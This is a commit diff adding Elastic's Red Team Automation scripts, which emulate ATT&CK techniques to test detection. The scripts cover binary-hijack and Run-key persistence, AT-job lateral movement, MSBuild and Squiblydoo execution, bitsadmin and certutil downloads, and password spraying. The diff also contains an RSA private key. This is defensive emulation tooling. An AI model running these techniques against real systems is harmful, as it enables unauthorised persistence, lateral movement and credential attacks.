Populate RTA directory.
Co-Authored-By: Brent Murphy <56412096+bm11100@users.noreply.github.com> Co-Authored-By: Daniel Stepanic <57736958+dstepanic17@users.noreply.github.com> Co-Authored-By: David French <56409778+threat-punter@users.noreply.github.com> Co-Authored-By: Joe Desimone <56411054+joe-desimone@users.noreply.github.com> Co-Authored-By: Justin Ibarra <brokensound77@users.noreply.github.com>
This commit is contained in:
@@ -0,0 +1,43 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
import glob
|
||||
import importlib
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
CURRENT_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_ttp_list(os_types=None):
|
||||
scripts = []
|
||||
if os_types and not isinstance(os_types, (list, tuple)):
|
||||
os_types = [os_types]
|
||||
|
||||
for script in sorted(glob.glob(os.path.join(CURRENT_DIR, "*.py"))):
|
||||
base_name, _ = os.path.splitext(os.path.basename(script))
|
||||
if base_name not in ("common", "main") and not base_name.startswith("_"):
|
||||
if os_types:
|
||||
# Import it and skip it if it's not supported
|
||||
importlib.import_module(__name__ + "." + base_name)
|
||||
if not any(base_name in common.OS_MAPPING[os_type] for os_type in os_types):
|
||||
continue
|
||||
|
||||
scripts.append(script)
|
||||
|
||||
return scripts
|
||||
|
||||
|
||||
def get_ttp_names(os_types=None):
|
||||
names = []
|
||||
for script in get_ttp_list(os_types):
|
||||
basename, ext = os.path.splitext(os.path.basename(script))
|
||||
names.append(basename)
|
||||
return names
|
||||
|
||||
|
||||
__all__ = (
|
||||
"common"
|
||||
)
|
||||
@@ -0,0 +1,21 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
import argparse
|
||||
import importlib
|
||||
import os
|
||||
|
||||
from . import get_ttp_names
|
||||
|
||||
parser = argparse.ArgumentParser("rta")
|
||||
parser.add_argument("ttp_name")
|
||||
|
||||
parsed_args, remaining = parser.parse_known_args()
|
||||
ttp_name, _ = os.path.splitext(os.path.basename(parsed_args.ttp_name))
|
||||
|
||||
if ttp_name not in get_ttp_names():
|
||||
raise ValueError("Unknown RTA {}".format(ttp_name))
|
||||
|
||||
module = importlib.import_module("rta." + ttp_name)
|
||||
exit(module.main(*remaining))
|
||||
@@ -0,0 +1,46 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Adobe Hijack Persistence
|
||||
# RTA: adobe_hijack.py
|
||||
# ATT&CK: T1044
|
||||
# Description: Replaces PE file that will run on Adobe Reader start.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
|
||||
rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe")
|
||||
cmd_path = "C:\\Windows\\System32\\cmd.exe"
|
||||
backup = os.path.abspath("xxxxxx")
|
||||
backedup = False
|
||||
|
||||
# backup original if it exists
|
||||
if os.path.isfile(rdrcef_exe):
|
||||
common.log("{} already exists, backing up file.".format(rdrcef_exe))
|
||||
common.copy_file(rdrcef_exe, backup)
|
||||
backedup = True
|
||||
else:
|
||||
common.log("{} doesn't exist. Creating path.".format(rdrcef_exe))
|
||||
os.makedirs(rdr_cef_dir)
|
||||
|
||||
# overwrite original
|
||||
common.copy_file(cmd_path, rdrcef_exe)
|
||||
|
||||
# cleanup
|
||||
if backedup:
|
||||
common.log("Putting back backup copy.")
|
||||
common.copy_file(backup, rdrcef_exe)
|
||||
os.remove(backup)
|
||||
else:
|
||||
common.remove_file(rdrcef_exe)
|
||||
os.removedirs(rdr_cef_dir)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,30 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Application Compatibility Shims
|
||||
# RTA: appcompat_shim.py
|
||||
# ATT&CK: T1138
|
||||
# Description: Use sdbinst.exe to install a binary patch/application shim.
|
||||
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(SHIM_FILE)
|
||||
def main():
|
||||
common.log("Application Compatibility Shims")
|
||||
|
||||
common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE])
|
||||
time.sleep(2)
|
||||
|
||||
common.log("Removing installed shim", log_type="-")
|
||||
common.execute(["sdbinst.exe", "-u", SHIM_FILE])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,57 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: AT Command Lateral Movement
|
||||
# RTA: at_command.py
|
||||
# ATT&CK: T1053
|
||||
# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the
|
||||
# status of that task, and deletes the task.
|
||||
|
||||
import datetime
|
||||
import re
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main(target_host=None):
|
||||
target_host = target_host or common.get_ip()
|
||||
host_str = '\\\\%s' % target_host
|
||||
|
||||
# Current time at \\localhost is 11/16/2017 11:25:50 AM
|
||||
code, output = common.execute(['net', 'time', host_str])
|
||||
match = re.search(r'Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)', output)
|
||||
groups = match.groups()
|
||||
m, d, y, hh, mm, ss, period = groups
|
||||
now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss))
|
||||
if period == 'PM' and hh != '12':
|
||||
now += datetime.timedelta(hours=12)
|
||||
|
||||
# Add one hour
|
||||
task_time = now + datetime.timedelta(hours=1)
|
||||
|
||||
# Round down minutes
|
||||
time_string = '%d:%d' % (task_time.hour, task_time.minute)
|
||||
|
||||
# Enumerate all remote tasks
|
||||
common.execute(['at.exe', host_str])
|
||||
|
||||
# Create a job 1 hour into the future
|
||||
code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world'])
|
||||
|
||||
if code == 1 and 'deprecated' in output:
|
||||
common.log("Unable to continue RTA. Not supported in this version of Windows")
|
||||
return common.UNSUPPORTED_RTA
|
||||
|
||||
if code == 0:
|
||||
job_id = re.search('ID = (\d+)', output).group(1)
|
||||
|
||||
# Check status and delete
|
||||
common.execute(['at.exe', host_str, job_id])
|
||||
common.execute(['at.exe', host_str, job_id, '/delete'])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,65 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!-- This inline task executes c# code. -->
|
||||
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
|
||||
<!-- Save This File And Execute The Above Command -->
|
||||
<!-- Author: Casey Smith, Twitter: @subTee -->
|
||||
<!-- License: BSD 3-Clause -->
|
||||
<Target Name="Hello">
|
||||
<FragmentExample />
|
||||
<ClassExample />
|
||||
</Target>
|
||||
<UsingTask
|
||||
TaskName="FragmentExample"
|
||||
TaskFactory="CodeTaskFactory"
|
||||
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<ParameterGroup/>
|
||||
<Task>
|
||||
<Using Namespace="System" />
|
||||
<Code Type="Fragment" Language="cs">
|
||||
<![CDATA[
|
||||
Console.WriteLine("Hello From a Code Fragment");
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
<UsingTask
|
||||
TaskName="ClassExample"
|
||||
TaskFactory="CodeTaskFactory"
|
||||
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<Task>
|
||||
<!-- <Reference Include="System.IO" /> Example Include -->
|
||||
<Reference Include="System.Xml" />
|
||||
<Code Type="Class" Language="cs">
|
||||
<![CDATA[
|
||||
using System;
|
||||
using Microsoft.Build.Framework;
|
||||
using Microsoft.Build.Utilities;
|
||||
using System.Xml;
|
||||
|
||||
public class ClassExample : Task, ITask
|
||||
{
|
||||
public static void XMLGet()
|
||||
{
|
||||
try
|
||||
{
|
||||
Console.WriteLine("XML Get Request...");
|
||||
var xmlDoc = new XmlDocument();
|
||||
xmlDoc.Load("http://127.0.0.1:8000");
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
public override bool Execute()
|
||||
{
|
||||
Console.WriteLine("Hello From a Class.");
|
||||
XMLGet();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
</Project>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<script language="javascript" type="text/javascript">
|
||||
|
||||
var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
|
||||
xhr.open("GET","http://127.0.0.1:8000",false);
|
||||
xhr.send();
|
||||
|
||||
</script>
|
||||
</HEAD>
|
||||
</HTML>
|
||||
@@ -0,0 +1,21 @@
|
||||
<?xml version='1.0'?>
|
||||
<xsl:stylesheet version="1.0"
|
||||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||||
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
|
||||
xmlns:user="http://mycompany.com/mynamespace">
|
||||
|
||||
<xsl:output encoding="UTF-8" indent="yes" method="xml" />
|
||||
<msxsl:script language="JScript" implements-prefix="user">
|
||||
function xml(nodelist)
|
||||
{
|
||||
var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
|
||||
xhr.open("GET","http://127.0.0.1:8000",false);
|
||||
xhr.send();
|
||||
|
||||
return nodelist.nextNode().xml;
|
||||
}
|
||||
</msxsl:script>
|
||||
<xsl:template match="/">
|
||||
<xsl:value-of select="user:xml(.)"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0"?>
|
||||
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
|
||||
<customers>
|
||||
<customer>
|
||||
<name>John Smith</name>
|
||||
<address>123 Elm St.</address>
|
||||
<phone>(123) 456-7890</phone>
|
||||
</customer>
|
||||
<customer>
|
||||
<name>Mary Jones</name>
|
||||
<address>456 Oak Ave.</address>
|
||||
<phone>(156) 789-0123</phone>
|
||||
</customer>
|
||||
</customers>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,12 @@
|
||||
<?XML version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration
|
||||
progid="TESTING"
|
||||
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
var foo = new ActiveXObject("WScript.Shell").Run("notepad.exe");
|
||||
]]>
|
||||
</script>
|
||||
</registration>
|
||||
</scriptlet>
|
||||
@@ -0,0 +1,123 @@
|
||||
dim shellobj
|
||||
dim fs
|
||||
dim logFile
|
||||
|
||||
set fs = CreateObject("Scripting.FileSystemObject")
|
||||
set shellObj = WScript.CreateObject("wscript.shell")
|
||||
|
||||
name = "rta-vbs-persistence"
|
||||
logPath = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & ".log"
|
||||
|
||||
set logFile = fs.OpenTextFile(logPath, 8, True)
|
||||
|
||||
startupDir = shellObj.SpecialFolders("Startup")
|
||||
shortcutLink = startupDir & "\" & name & "-startup.lnk"
|
||||
|
||||
startupTarget = startupDir & "\" & name & "-startup.vbs"
|
||||
shortcutTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-startup-shortcut.vbs"
|
||||
taskTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-task.vbs"
|
||||
runTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-run-key.vbs"
|
||||
|
||||
runKey = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & name
|
||||
|
||||
|
||||
function log(logType, message)
|
||||
line = "[" & logType & "] " & wscript.ScriptName & " - " & message
|
||||
' WScript.Echo line
|
||||
logFile.WriteLine line
|
||||
end function
|
||||
|
||||
function logLine
|
||||
logFile.WriteLine ""
|
||||
end function
|
||||
|
||||
|
||||
'Add self logging functions
|
||||
function copyScript(target)
|
||||
log "+", "Copying " & wscript.ScriptFullName & " to " & target
|
||||
fs.CopyFile wscript.ScriptFullName, target, true
|
||||
end function
|
||||
|
||||
function deleteFile(path)
|
||||
log "-", "Deleting " & path
|
||||
fs.DeleteFile(path)
|
||||
end function
|
||||
|
||||
function run(command)
|
||||
log ">", command
|
||||
errorCode = shellObj.Run(command, 0, True)
|
||||
if errorCode <> 0 then
|
||||
log ">", "exit code = " & errorCode
|
||||
end if
|
||||
end function
|
||||
|
||||
function deleteScript()
|
||||
deleteFile wscript.ScriptFullName
|
||||
end function
|
||||
|
||||
|
||||
log "=", "Started"
|
||||
|
||||
'Establish persistence or remove persistence after the first execution
|
||||
if wscript.ScriptFullName = shortcutTarget then
|
||||
'Check if this is running and came from a shortcut
|
||||
log "+", "Running from a shortcut target"
|
||||
deleteScript
|
||||
deleteFile shortcutLink
|
||||
|
||||
elseif wscript.ScriptFullName = startupTarget then
|
||||
'Delete the file
|
||||
log "+", "Running from the startup folder directly"
|
||||
deleteScript
|
||||
|
||||
elseif wscript.ScriptFullName = taskTarget then
|
||||
'Remove the task and the file
|
||||
log "+", "Running as a scheduled task"
|
||||
deleteScript
|
||||
run "schtasks.exe /delete /f /tn " & name
|
||||
|
||||
elseif wscript.ScriptFullName = runTarget then
|
||||
'Remove the registry key and the file
|
||||
log "+", "Running as a run item"
|
||||
deleteScript
|
||||
log "-", "Removing registry key " & runKey
|
||||
shellObj.RegDelete runKey
|
||||
|
||||
else
|
||||
'Copy the file to a few locations
|
||||
dim shortcut
|
||||
log "+", "Establish Persistence" & crlf
|
||||
|
||||
|
||||
'Copy to the StartUp directory
|
||||
log "+", "Startup File"
|
||||
copyScript startupTarget
|
||||
logLine
|
||||
|
||||
'Create a shortcut in the StartUp directory
|
||||
log "+", "Startup Shortcut"
|
||||
copyScript shortcutTarget
|
||||
set shortcut = shellObj.CreateShortcut(shortcutLink)
|
||||
shortcut.TargetPath = "wscript.exe"
|
||||
shortcut.Arguments = "//B " & chrw(34) & shortcutTarget & chrw(34)
|
||||
shortcut.save()
|
||||
logLine
|
||||
|
||||
'Create a scheduled task
|
||||
log "-", "Scheduled Task" & crlf
|
||||
copyScript taskTarget
|
||||
run "schtasks.exe /create /f /sc onlogon /tn " & name & " /tr " & chrw(34) & "wscript.exe //B " & ("\" & chrw(34)) & runTarget & ("\" & chrw(34)) & chrw(34)
|
||||
logLine
|
||||
|
||||
'Create the run key
|
||||
log "+", "Run Key via Registry"
|
||||
copyScript runTarget
|
||||
shellObj.RegWrite runKey, "wscript.exe //B " & chrw(34) & runTarget & chrw(34), "REG_SZ"
|
||||
logLine
|
||||
|
||||
end if
|
||||
|
||||
log "-", "Exiting"
|
||||
logFile.WriteLine ""
|
||||
logFile.WriteLine ""
|
||||
logFile.Close()
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAuy7HkecTrKhGuZW7/KugrrUNmNGPjvZGXTpGJIb3ycU5KSNk
|
||||
VutDTpjL6QpqJc4O/2J77lEjGsx+H+CUcrXSK5cSifD5Qd73ZRM6wnfulpUBKJoi
|
||||
LasX7umpRtx/xwOQGvDBBYvB6QVhvmlisqkhRIZLphi4qxfBJ1+RzfsG8JNvDmvl
|
||||
tkEogGMaj5rVplbhKycSkuqflEF+tuhnSCiLgAAyFcFzhDp1sJP7mHf0RX1qxGtq
|
||||
1e+OduZxA8omDB3urvZ+3smCnEgYk920Ikbzs5zEjwHMgh6mtqLLO1xLOefTFWUM
|
||||
+i6z05mowdi3l3e26LOQLhHftBxh88W41b60mwIDAQABAoIBACyJ4v66hxnsKHf8
|
||||
QvDKPb+UYRnds1UHEJMaTJpgaxFdlk5Nl5B/BlLrVIms6rj4IOVvn6GDOOEli1U2
|
||||
cNwim1G37rdX2VdtIFyyiKbBNsopxk7M7hkDvvwgKSEtUlIebOmcI7GYIZm6qBlQ
|
||||
piVwzPOrKNDqzPYY/uLJgL4MXwhbBDzgi4qsNOFol05r0YISiHxI3CRmk0zFQnwr
|
||||
xIIg4WR6NbWKVp/CLfGrJFwE0wG9J1D3xf3hclHKEmOCuEI0PuGQqH7gwzfPxCT5
|
||||
kzfi513iqTRvxwn0euUY9qqHZNuMoW3p7oGvObgZhRmN1qlE5kmN1moZhlcQuIkr
|
||||
enhCVCECgYEA378gwqZdsWLinMwScSDNz3WAc8rThwdB3qz3cBRFWFV0/qlMLxpC
|
||||
ne+kSBekym3vNK4ZWJf6XHpVodHGB3mSVOCGAgziEy5nlVtoO64qQoa6gTDAjdEv
|
||||
eGh27lEresi3MiP9JHE7TN3nwcjlpuRfnutqgnlVJeVmwasDB/E2vGkCgYEA1ipX
|
||||
5vUZz7z7LU5VNPskn5naGHkuLrlQaCqKWdXMOXsOoP3w4Z4PptWzroa/i5O4OGqV
|
||||
2x7wkAAa73oqRnt8+OTwCxfzBhdQDCfIw9joZrJiCCbqNny8zQcXBI2AcdWaI2m3
|
||||
jfzKXtxtCAz2WFLE1g2RjLSjw/F2XPpjN9daGGMCgYBa7ueWlFyhuimVRg78sTNT
|
||||
7FJPPRBo4Vcw86UAhQyF0P1iflW7EvYeEAX5UrqjlrhP9a3RZrrWmNVylbng0dTZ
|
||||
8AImlSvQVdy9Q9AB6U+9h9oGpVSsjma3jeVAB/ceyLJDi4LXK7nJDKqjBE3pXQlL
|
||||
oivAaSVk6G2xqhnqQWtYeQKBgQDRWuk888J8qc+cNWPj+9GMVzi1DdjQggURHuzJ
|
||||
7s7KLfpZ9IPB+eJxA5y3ci/SwN+n/sFpR3CARCoQigrDhbngEOR647mE7cspZsbC
|
||||
dMqSgbSFJY11IDDr+A9POwghv14DWje+DCzD2JSY9xrlsluKqA7tTjR8uhEryPSu
|
||||
xMzk4wKBgCufVxHkqM1wWF8Mt80YIluTx+NJSx8UF8TCYeeJimO0MAPMp7u9mSSh
|
||||
upElHcfKf2fnACO8IHuDMx6luAo+BAdSzOtkERK9rwJ5y0Ktef58MhuMY8jmKKrD
|
||||
NcKPu3VXnLZ6Gc3qF2Kiy2Qqz0sNqtDsr9L1c9To55GeJ4uZt0BU
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,8 @@
|
||||
[Version]
|
||||
Signature=$CHICAGO$
|
||||
|
||||
[DefaultInstall]
|
||||
UnregisterDlls = Squiblydoo
|
||||
|
||||
[Squiblydoo]
|
||||
11,,scrobj.dll,2,60,http://127.0.0.1:8000/bin/notepad.sct
|
||||
@@ -0,0 +1,29 @@
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2017, Matt Graeber
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -0,0 +1,36 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Suspicious BitsAdmin Download File
|
||||
# RTA: bitsadmin_download.py
|
||||
# ATT&CK: T1197
|
||||
# Description: Runs BitsAdmin to download file via command line.
|
||||
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Running Windows BitsAdmin to Download")
|
||||
server, ip, port = common.serve_web()
|
||||
url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe"
|
||||
dest_path = os.path.abspath("myapp-test.exe")
|
||||
fake_word = os.path.abspath("winword.exe")
|
||||
|
||||
common.log("Emulating parent process: {parent}".format(parent=fake_word))
|
||||
common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word)
|
||||
|
||||
command = subprocess.list2cmdline(['bitsadmin.exe', '/Transfer', '/Download', url, dest_path])
|
||||
common.execute([fake_word, "/c", command], timeout=15, kill=True)
|
||||
common.execute(['taskkill', '/f', '/im', 'bitsadmin.exe'])
|
||||
|
||||
common.remove_files(dest_path, fake_word)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,54 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Brute Force Login Attempts
|
||||
# RTA: brute_force_login.py
|
||||
# ATT&CK: T1110
|
||||
# Description: Simulates brute force or password spraying tactics.
|
||||
# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable`
|
||||
|
||||
import random
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main(remote_host=None):
|
||||
if not remote_host:
|
||||
common.log('A remote host is required to detonate this RTA', '!')
|
||||
return common.MISSING_REMOTE_HOST
|
||||
|
||||
common.enable_logon_auditing(remote_host)
|
||||
|
||||
common.log('Brute forcing login with invalid password against {}'.format(remote_host))
|
||||
ps_command = '''
|
||||
$PW = ConvertTo-SecureString "Lose-y0urse1f" -AsPlainText -Force
|
||||
$CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW
|
||||
Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS
|
||||
'''
|
||||
command = ['powershell', '-c', ps_command.format(username='zeus', host=remote_host)]
|
||||
|
||||
# fail 4 times - the first 3 concurrently and wait for the final to complete
|
||||
for i in range(4):
|
||||
common.execute(command, wait=i == 3)
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
common.log('Password spraying against {}'.format(remote_host))
|
||||
|
||||
# fail 5 times - the first 4 concurrently and wait for the final to complete
|
||||
for i in range(5):
|
||||
random_user = ''.join(random.sample(string.ascii_letters, 10))
|
||||
command = ['powershell', '-c', ps_command.format(username=random_user, host=remote_host)]
|
||||
common.execute(command, wait=i == 4)
|
||||
|
||||
# allow time for audit event to process
|
||||
time.sleep(2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,31 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Certutil Encode / Decode
|
||||
# RTA: certutil_file_obfuscation.py
|
||||
# ATT&CK: T1140
|
||||
# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Encoding target")
|
||||
encoded_file = os.path.abspath('encoded.txt')
|
||||
decoded_file = os.path.abspath('decoded.exe')
|
||||
common.execute(["c:\\Windows\\System32\\certutil.exe", "-encode", "c:\\windows\\system32\\cmd.exe", encoded_file])
|
||||
|
||||
common.log("Decoding target")
|
||||
common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file])
|
||||
|
||||
common.log("Cleaning up")
|
||||
common.remove_file(encoded_file)
|
||||
common.remove_file(decoded_file)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,33 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Downloading Files With Certutil
|
||||
# RTA: certutil_webrequest.py
|
||||
# ATT&CK: T1105
|
||||
# Description: Uses certutil.exe to download a file.
|
||||
|
||||
from . import common
|
||||
|
||||
MY_DLL = common.get_path("bin", "mydll.dll")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MY_DLL)
|
||||
def main():
|
||||
# http server will terminate on main thread exit
|
||||
# if daemon is True
|
||||
server, ip, port = common.serve_web()
|
||||
|
||||
uri = "bin/mydll.dll"
|
||||
target_file = "mydll.dll"
|
||||
common.clear_web_cache()
|
||||
url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri)
|
||||
common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file])
|
||||
|
||||
server.shutdown()
|
||||
common.remove_file(target_file)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
+633
@@ -0,0 +1,633 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
from __future__ import unicode_literals, print_function
|
||||
|
||||
import binascii
|
||||
import contextlib
|
||||
import functools
|
||||
import getpass
|
||||
import inspect
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
|
||||
try:
|
||||
from SimpleHTTPServer import SimpleHTTPRequestHandler
|
||||
except ImportError:
|
||||
from http.server import SimpleHTTPRequestHandler
|
||||
try:
|
||||
from SocketServer import TCPServer
|
||||
except ImportError:
|
||||
from http.server import HTTPServer as TCPServer
|
||||
|
||||
to_unicode = type(u"")
|
||||
long_t = type(1 << 63)
|
||||
strings = str, type(u"")
|
||||
|
||||
HOSTNAME = socket.gethostname()
|
||||
LOCAL_IP = None
|
||||
|
||||
|
||||
def get_ip():
|
||||
global LOCAL_IP, HOSTNAME
|
||||
|
||||
if LOCAL_IP is None:
|
||||
try:
|
||||
LOCAL_IP = socket.gethostbyname(HOSTNAME)
|
||||
except socket.gaierror:
|
||||
LOCAL_IP = "127.0.0.1"
|
||||
|
||||
return LOCAL_IP
|
||||
|
||||
|
||||
def get_winreg():
|
||||
try:
|
||||
import _winreg as winreg
|
||||
except ImportError:
|
||||
import winreg
|
||||
return winreg
|
||||
|
||||
|
||||
# Multi-OS Support
|
||||
WINDOWS = "windows"
|
||||
MACOS = "macos"
|
||||
LINUX = "linux"
|
||||
|
||||
if sys.platform == "darwin":
|
||||
CURRENT_OS = MACOS
|
||||
